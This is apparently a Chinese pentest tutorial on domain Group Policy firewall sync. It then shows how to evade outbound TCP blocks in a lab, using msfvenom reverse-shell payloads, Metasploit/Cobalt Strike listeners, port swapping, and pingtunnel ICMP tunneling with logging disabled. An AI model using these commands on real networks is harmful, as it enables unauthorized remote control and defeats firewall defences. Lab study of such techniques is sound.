天天看點

内網滲透—域防火牆政策同步、不出網隧道上線

作者:煩人的星辰

1. 前言

  在之前的域資訊收集一章節中大概了解了一些關于域方面的資訊收集,良好的資訊收集,能夠最大化實作我們想要的目标,而我們在進行内網滲透的時候,通常已經是通過WEB的檔案上傳、指令執行等操作已經擷取一定的權限了,而我們在擷取這些權限的時候,我們還想擷取更多的操作,那麼就可能會遇到域,而在域中我們最終的目标就是擷取域控的權限,而擷取到域控權限後,也就實作了我們最終的目标,而如果在内網中沒有域,那麼就簡單了。

  而本章主要涉及域方面的防火牆的知識,如果我們碰到開啟域防火牆後該如何操作…

2. 域防火牆

  使用域組政策/腳本統一配置防火牆

  目前企業内網多為域環境,部分企業應用等需要用戶端統一開放某一端口比如Ping,如果企業環境較大,用戶端數千個逐個設定将是浪費工作效率且不靈活的方案;是以可以通過使用域政策來統一設定;

  這裡我們就簡單介紹一下通過域控來實作全網防火牆政策同步的測試。

  在域内的主機通常會開啟防火牆,而這個防火牆的開啟與設立都是基于域控來管理,簡單來說就是管理者控制,内網中的使用者是無權設立的,如果内網使用者需要什麼,那麼域控管理者,可以針對這一台主機設立相應的入站出站規則,當然也可以設定全局同步,是以如果在内網滲透中,如果碰到域控并且還是開啟了防火牆是一件挺麻煩的事。

2.1. 域控開啟防火牆同步測試

  首先這裡我們需要準備好一個域控、一台域主機,來作為示範,首先來看一下是否為域環境,其實這裡通過上章内容已經知道了,這個指令的作用和解釋,這裡我就不再解釋了。

内網滲透—域防火牆政策同步、不出網隧道上線

2.1.1. 檢視域主機防火牆政策

  這裡我們先來看一下域内主機防火牆的政策是什麼樣的,後面在結合域控下發政策,來判斷是否同步成功,通過檢視,可以看到所有都是開啟狀态。

内網滲透—域防火牆政策同步、不出網隧道上線

2.1.2. 域控防火牆政策下發同步

  這裡通過設定防火牆的政策讓域内主機進行同步。

2.1.2.1. 建立組政策

  這裡我們就利用域控來進行防火牆的政策下發。

  開始》管理工具》組政策管理》林》域》右擊域》建立GPO》設定名字

内網滲透—域防火牆政策同步、不出網隧道上線
内網滲透—域防火牆政策同步、不出網隧道上線

2.1.2.2. 編輯組政策

  這裡就可以對組政策進行編輯了,右擊組政策》編輯》彈窗是

内網滲透—域防火牆政策同步、不出網隧道上線

2.1.2.3. 編輯防火牆

  計算機配置》政策》Windows設定》安全設定》進階安全Windows》進階安全Windows》Windows防火牆屬性》設定域防火牆開啟》專用防火牆關閉》公用防火牆關閉》應用

内網滲透—域防火牆政策同步、不出網隧道上線

2.1.2.4. 同步防火牆政策

  關于同步防火牆政策這裡,我發現直接點選強制,好像沒什麼反應,執行指令重新開機的時候好像也有點問題,但是重新開機後政策是正常同步了。

  官方解釋:重新開機域成員計算機或使用者登入到域成員計算機時,會自動重新整理組政策。 此外,還會定期重新整理組政策。 預設情況下,每 90 分鐘執行一次這種定期重新整理,随機偏移量不超過 30 分鐘。

gpupdate ##更新組政策           
内網滲透—域防火牆政策同步、不出網隧道上線

2.2. 域控出入站規則同步

  在域控中,有些情況下,防火牆是關閉的,但是管理者會從域控中下發出站入站的規則,比如隻讓某個主機能夠通路域控的3389端口,或者根據不同的應用方通不同的政策。

2.2.1. 檢視域主機出入站規則

  先來看一下出站入站的規則,來确定後面的操作是否成功。

2.2.1.1. 出站規則

  在域主機上打開管理工具》進階安全Windows防火牆》出站規則

内網滲透—域防火牆政策同步、不出網隧道上線

2.2.1.2. 入站規則

  在域主機上打開管理工具》進階安全Windows防火牆》入站規則

内網滲透—域防火牆政策同步、不出網隧道上線

2.2.2. 域控出站規則下發同步

  我們回到域控剛剛建立的組政策哪裡,點開進階Windows防火牆就能夠看到出入站規則了,預設的情況下是什麼都沒有的。

内網滲透—域防火牆政策同步、不出網隧道上線

2.2.2.1. 通路百度

  這裡我們準備建立一個禁止通路百度的情況,這裡我們可以先來看看,是否能夠通路百度,可以看到是可以通路百度的。

内網滲透—域防火牆政策同步、不出網隧道上線

2.2.2.2. 域控設定規則

  到這裡我們需要先了解,什麼情況是入站規則,什麼是出站規則。簡單來說當你需要通路别人的時候就是出站,而當别人通路你提供的服務的時候是入站。

  這裡我直接設定關閉tcp全部端口,具體設定想必沒不要介紹了吧,這個百度一大堆,而且看也能夠看懂。

  域控設定:組政策》進階安全Windows》出站規則

内網滲透—域防火牆政策同步、不出網隧道上線

2.2.2.3. 同步政策

  當域控添加成功後,就可以在域主機上同步了,這裡還是可以使用指令&重新開機來操作,後面我們打開管理工具》進階安全Windows防火牆》出站規則

内網滲透—域防火牆政策同步、不出網隧道上線

2.2.2.4. 測試通路百度

  通過下圖可以看到是已經無法通路了。

内網滲透—域防火牆政策同步、不出網隧道上線

2.2.3. 域控入站規則下發同步

  這裡我就不再測試了,後面還有相關的測試,本質上和出站設定是一樣的,隻是要明白出站入站的方向。

3. 單機測試

  主要測試一下,一些内網中可能會遇到的限制,讓我們的馬兒無法上線該如何解決,當然本章内容隻會涉及到部分,畢竟關于這方面的内容還有很多内容,不可能一章就能夠說完的。

  這裡我們就使用MSF的馬來測試。

3.1. 協定參考

  注意協定是向下相容,比如TCP協定被禁止了,你覺得http協定還能夠用麼?定然是不能用的!

内網滲透—域防火牆政策同步、不出網隧道上線

3.2. 常見的繞過方式

  關于這裡其實有很多種情況,這裡我不一定能夠全部做測試,先提前說一下可能會存在的各種攔截以及相應的解決辦法,但是還有一點需要注意的就是,倘若設定的政策真的很嚴謹,可能真的就沒折了,比如:隻放通再用端口、隻放通再用的協定像這裡的,除非你能通過第三方軟體漏洞、或者直接擷取域控,否則可能真的就沒轍的了,當然是我個人的了解,大佬肯定又一些其它的操作。

1.限制端口分為:入站限制端口、出站限制端口、出入站均限制端口。
		入站限制端口,出站未限制端口,使用反向連接配接。
		出站限制端口,入站未顯示端口,使用正向連接配接。
		出入站均限制端口,使用端口繞過進行連接配接,建議配合反向連接配接。
		
2.限制協定分為:入站限制、出戰限制、出入均限制,這些限制又分為:單協定限制、多協定限制、全部限制。
		入站限制:
			單協定限制,使用其它協定或者反向連接配接繞過。
			多協定限制,使用未被限制的協定或者反向連接配接繞過。
			全部協定限制,使用放棄或者反向連接配接繞過,但正常不會将是以協定都封閉的。
		出戰限制:
			參考上面使用正向連接配接繞過。
		出入均限制:
			單協定限制,使用其它協定繞過。
			多協定限制,使用未被限制的協定繞過。
			全部協定限制,使用放棄繞過,但正常不會将是以協定都封閉的。           

3.3. 限制端口上線

  在一些情況下,管理者是把一些無用的端口關閉,或者說開放一些白名單端口讓一些授權的來通信,這裡我們将對端口限制進行測試,測試環境畢竟是自己搭建的,而在真實的環境中多多少少會存在一些不同,是以也是僅作參考。

  未示範的繞過方式,參考3.1常見的繞過方式自學操作,否則需要寫的太多了。

3.3.1. 設定出站端口規則

  至于設定規則這裡我就不細說設定的流程了,我們先提前說一下背景,我們使用5555端口的馬,而在主機上是禁止1000-65535端口對外通信的,那麼我們就可以使用替換端口來通信。

  通過下圖可以看到我們是設定了一個禁止TCP協定1000-65535端口對外通信的規則。

内網滲透—域防火牆政策同步、不出網隧道上線

3.3.2. MSF生成木馬

  這裡我們利用MSF生成一個木馬。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.20 LPORT=5555 -f exe > msf.exe           
内網滲透—域防火牆政策同步、不出網隧道上線

3.3.3. MSF開啟監聽

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.10.20
set LPORT 5555
run           
内網滲透—域防火牆政策同步、不出網隧道上線

3.3.4. 上傳并運作木馬

  這裡如果誰問木馬是如何上傳上去的,那我也不知道該如何向你解釋了。

内網滲透—域防火牆政策同步、不出網隧道上線

3.3.5. 檢視狀态

  可以看到執行完木馬後,并未建立連接配接,就證明阻止成功了,那麼像這個就很簡單,你去替換一個端口即可上線,比如這裡我替換一個999端口。

内網滲透—域防火牆政策同步、不出網隧道上線

3.3.6. 替換端口後狀态

  這裡可以看到替換完端口後,就成功上線了,這裡有人感覺好像很簡單,但是可能在實際的情況中,不會那麼簡單隻是封禁端口繞過即可這種情況,更多的可能是封禁協定。

内網滲透—域防火牆政策同步、不出網隧道上線

3.4. 限制協定上線

  關于限制協定具體的繞過思路上面已經寫到了,本來還想舉一個例子的,但是翻遍了很多的文檔都沒涉及到如何生成其它類型木馬,總之還是太菜了,很多的木馬還是基于tcp連接配接,之前已經提到的,當禁止tcp協定後一些相關的協定比如http、https等都不能使用。

  但是在下述的一個操作中,确實實作了,當TCP協定被封的時候可以采用ICMP協定連接配接,簡單來說禁止TCP協定就是禁止TCP與外部進行連接配接,是以可以将流量轉到ICMP上進行運作。

4. 域政策測試

  關于這個域政策測試,主要涉及到的就是,如果主機沒有網絡該如何上線,如果主機存在網絡但由于域政策限制無法上線又該如何操作,這裡簡單探讨一下思路。

  如果是入站被封殺其實可以倒推下列的思路,具體更多的思路後續将慢慢說道。

1.主機出站TCP封殺,入站無封殺,但無網際網路網絡
	繞過思路:
		通過正向連接配接方式,并且需要域内一台可以上網際網路的主機,同時可以與目标主機通信的,這時就可以利用域内可以上網際網路的這台主機,把目标主機的資料交予它進行控制。

2.主機出站TCP封殺,入站無封殺,有網際網路網絡
	繞過思路:
		這個有兩種方式,一種就是上述提到的方式,還有一種就是采取隧道技術,把流量引到其它協定上通信。           

4.1. 背景介紹

  域控通過使用政策設定域内主機的防火牆同步規則後,域内的主機被限制TCP出網,其中的規則設定的是出戰規則,在滲透測試過程中,通過其它手段獲得shell權限,需要對其進行上線操作。

  而上述的背景主要就是對上面提到的第二條,這裡我們可以采用正向連接配接或隧道技術,而且正向連接配接我們暫時先不涉及,先來說一下隧道技術。

4.1.1. 隧道技術介紹

  在實際的網絡中,通常會被各種邊界裝置、軟/硬體防火牆、IPS、IDS、态勢感覺等來檢查對外連接配接,如果當防火牆中檢測的異常了就會自動的對其進行攔截,比如:你在防火牆上設定了不允許主機A去通路主機B,那麼當主機A去通路主機B的時候,防火牆檢測到這個異常後,就會對其進行攔截,使其無法通信。

  而隧道技術,簡單來說就是繞過屏蔽的端口或者協定的通信方式,比如:按照上面的背景,防火牆攔截了TCP協定,使其無法上網,就會導緻我們的在做滲透測試的時候,無法使木馬上線,那麼這時候如果ICMP協定沒有被限制,那麼就可以實作将資料包封裝在ICMP協定中進行通信,然後穿過防火牆,當資料包到底目的地的時候,再将資料包還原,并将還原後的資料包發送到相應的伺服器上。

4.2. 不出網MSF上線案例

  這裡就列舉一個不出網上線的案例,ICMP協定,通常來說不會被禁止的,由于ping需要使用到ICMP協定,而ping這個功能是最簡單的測試連通性的方式,是以說通常不會被禁止。

4.2.1. 工具準備

  這裡我們需要将TCP流量轉換到ICMP中,是以我們需要使用到工具,這裡提供三個ICMP的項目,本次的實驗我們使用到的是pingtunnel這個工具。

  SPP:https://gitcode.com/esrrhs/spp?utm_source=csdn_github_accelerator&isLogin=1

icmpsh:https://gitcode.com/bdamele/icmpsh?utm_source=csdn_github_accelerator&isLogin=1

pingtunnel:https://gitcode.com/esrrhs/pingtunnel?utm_source=csdn_github_accelerator&isLogin=1

4.2.1.1. 下載下傳服務端

  這裡我們需要先下載下傳服務端,我們下載下傳Linux的,因為我們需要對接CS、msf都需要使用到Linux系統,是以我們使用Linux的友善一些。

  注意這裡下載下傳挺簡單,但是在介紹中,并沒有直接指明服務端與用戶端是以有點無奈,我查閱了很多資料,都是直接說如何使用的,而且有些工具名字是一樣的,但是并不是這個工具,也無奈,是以我就一個一個下載下傳下來測試…

  這裡下載下傳下來後是一個ZIP的壓縮,我們解壓,然後将檔案上傳到Linux系統中即可,雖然說是Linux,但是應該也都能猜到其實就是kali。

内網滲透—域防火牆政策同步、不出網隧道上線

4.2.1.2. 運作服務端

  這裡運作服務端主要是測試是否能夠正常運作,這裡需要使用最高權限進行執行。

sudo ./pingtunnel -type server           
内網滲透—域防火牆政策同步、不出網隧道上線

4.2.1.3. 下載下傳用戶端

  這裡我們需要對Windows系統進行轉發,那麼我們就下載下傳Windows的。

内網滲透—域防火牆政策同步、不出網隧道上線

4.2.1.4. 上傳用戶端

  這裡我們将下載下傳下來的用戶端解壓,然後上傳到目标主機中。

4.2.2. 前期準備

  這裡我們就按照上述提到的背景介紹來進行模拟。

4.2.2.1. 目标主機情況

  注意事項:

  如果你發現你設定的模拟環境無法通路百度,也ping不同,請把DC開啟,DC就是域控虛拟機也開啟。

  可以看到目标主機的出戰規則中是存在一條名稱為baidu的政策,該政策就是顯示TCP流量出網的,通常情況下我們直接上傳木馬是無法上線的,由于木馬都是TCP連接配接是以就會導緻我們的木馬無法上線。

内網滲透—域防火牆政策同步、不出網隧道上線

  這裡我們再測試一下百度情況,可以看到我們是能夠ping通百度,但是卻無法通路百度,這是由于ping是走ICMP協定,而通路百度是走TCP協定。

内網滲透—域防火牆政策同步、不出網隧道上線

4.2.2.2. 攻擊機情況

  這裡我們開啟監聽即可。

内網滲透—域防火牆政策同步、不出網隧道上線

4.2.3. MSF設定

  這裡我們需要注意的點有很多,由于我們之前使用的是MSF直接生成遠端連接配接的木馬,比如你攻擊機的IP是多少,那麼生成木馬的時候遠端連接配接的IP就是你的攻擊機IP,但是這裡不一樣的了,我們來下面介紹一下。

4.2.3.1. 差別介紹

  可能會發現,這裡我們生成的木馬是127.0.0.1了,這是由于需要配合剛剛的TCP轉ICMP工具,可以看下面的指令我再一條一條解釋:

  MSF生成木馬:由于再目标主機上TCP已經被封殺了,如果我們還寫攻擊機的IP位址,那麼當運作木馬的時候,會直接被攔截,導緻木馬失效,而如果設定木馬為本地位址,那麼就不會被封殺,隻是會再本地一直停留打轉,但這樣可以確定木馬在運作的狀态。

  工具轉發指令:而工具轉發,首先工具去将剛剛木馬的127.0.0.1:5555端口的流量封裝成ICMP流量,然後将這個流量轉發到192.168.10.20:6666上,而且192.168.10.20也就是我們的攻擊機,這樣就完成了整套的流量封裝與轉發。

  而我們要監聽的端口,以往都是木馬設定的回連端口是多少,我們就監聽多少,而現在我們要監聽的端口是工具轉發回來的端口,也就是6666.

MSF生成木馬:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=5555 -f exe > msf.exe

工具轉發指令:
pingtunnel.exe -type client -l 127.0.0.1:5555 -s 192.168.10.20 -t 192.168.10.20:6666 -tcp 1 -noprint 1 -nolog 1           

4.2.3.2. 生成木馬

  關于生成木馬,指令上面都有了,這裡我就不說了,然後将木馬上傳到目标機器中。

内網滲透—域防火牆政策同步、不出網隧道上線

4.2.3.3. 設定監聽

  這裡我們需要設定監聽的IP為0.0.0.0,確定能夠正常監聽到。

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
run           
内網滲透—域防火牆政策同步、不出網隧道上線

4.2.4. 正式測試

  到這裡,我們前期的準備都OK了,下面我們就開始正式的操作吧。

4.2.4.1. 目标主機測試

  這裡我們将目标主機上的木馬進行運作,然後再運作工具,主要這裡運作工具需要使用最高權限,簡單來說,當你擷取到域内主機的時候,需要先提權,然後在轉發。

  這裡我發現,如果先執行木馬再運作工具,MSF無法上線,需要先運作工具,然後在執行木馬才可以上線。

pingtunnel.exe -type client -l 127.0.0.1:5555 -s 192.168.10.20 -t 192.168.10.20:6666 -tcp 1 -noprint 1 -nolog 1           
内網滲透—域防火牆政策同步、不出網隧道上線

4.2.4.2. 檢視轉發流量情況

  可以看到這裡有很多的流量進行轉發。

内網滲透—域防火牆政策同步、不出網隧道上線

4.2.4.3. 檢視上線情況

  這裡我發現,不知道為什麼木馬運作好像有點不正常,容易掉線,不過确實能夠正常上線。

内網滲透—域防火牆政策同步、不出網隧道上線

4.3. 不出網CS上線案例

  這裡的前期準備我就不過多說了,直接上手操作吧,前期的準備以及工具準備都是一樣的操作,這裡直接設定cs吧

4.3.1. 設定CS監聽器

  這裡我們之前分析過了,是以這裡我們要設定兩個監聽器,一個監聽器用于生成木馬,一個監聽器用于接收傳回資訊。

4.3.1.1. 監聽器1

  這裡需要将所有的IP位址都設定為127.0.0.1。

内網滲透—域防火牆政策同步、不出網隧道上線

4.3.1.2. 監聽器2

  這個監聽器主要是用于接收工具轉發傳回回來的資訊,是以要設定監聽本地。

内網滲透—域防火牆政策同步、不出網隧道上線

4.3.2. 生成木馬

  到這裡就可以生成木馬了,然後将木馬上傳到目标主機上。

4.3.2.1. 生成stageless木馬

  關于stageless:

  stage是無階段的stager,可以直接了解成,stage是stager與它所請求的資料的集合體。stage比stager更安全,但是體積更大。而且在内網穿透的時候基本隻能用stage,用stager會十分麻煩,stager是分段傳輸payload的,使用stager有時候會導緻目标無法上線。stage唯一的缺點是相比較而言體積比較大。

内網滲透—域防火牆政策同步、不出網隧道上線

4.3.2.2. 設定監聽器

  這裡設定監聽器一定要選擇監聽器1。

内網滲透—域防火牆政策同步、不出網隧道上線

4.3.3. 正式測試

  到這裡我們通過上述的操作就可以正式的測試了,我們先來看看環境有沒有變化,是否還是隻能ping通百度,無法通路百度。通過測試可以看到還是這個狀态。

内網滲透—域防火牆政策同步、不出網隧道上線

4.3.3.1. 目标主機測試

  這裡我們就還是和MSF操作一樣,運作工具,然後運作木馬。

pingtunnel.exe -type client -l 127.0.0.1:5555 -s 192.168.10.20 -t 192.168.10.20:6666 -tcp 1 -noprint 1 -nolog 1           
内網滲透—域防火牆政策同步、不出網隧道上線

4.3.3.2. 檢視轉發情況

  可以看到成功轉發。

内網滲透—域防火牆政策同步、不出網隧道上線

4.3.3.3. 檢視上線情況

  這裡我們也可以看到成功上線了。

内網滲透—域防火牆政策同步、不出網隧道上線

5. 總結

  在域中還有很多的繞過的方式,但是不可能都寫出來,而且水準有限,也是在學習的,後續還是會有很多内網方面的内容。

繼續閱讀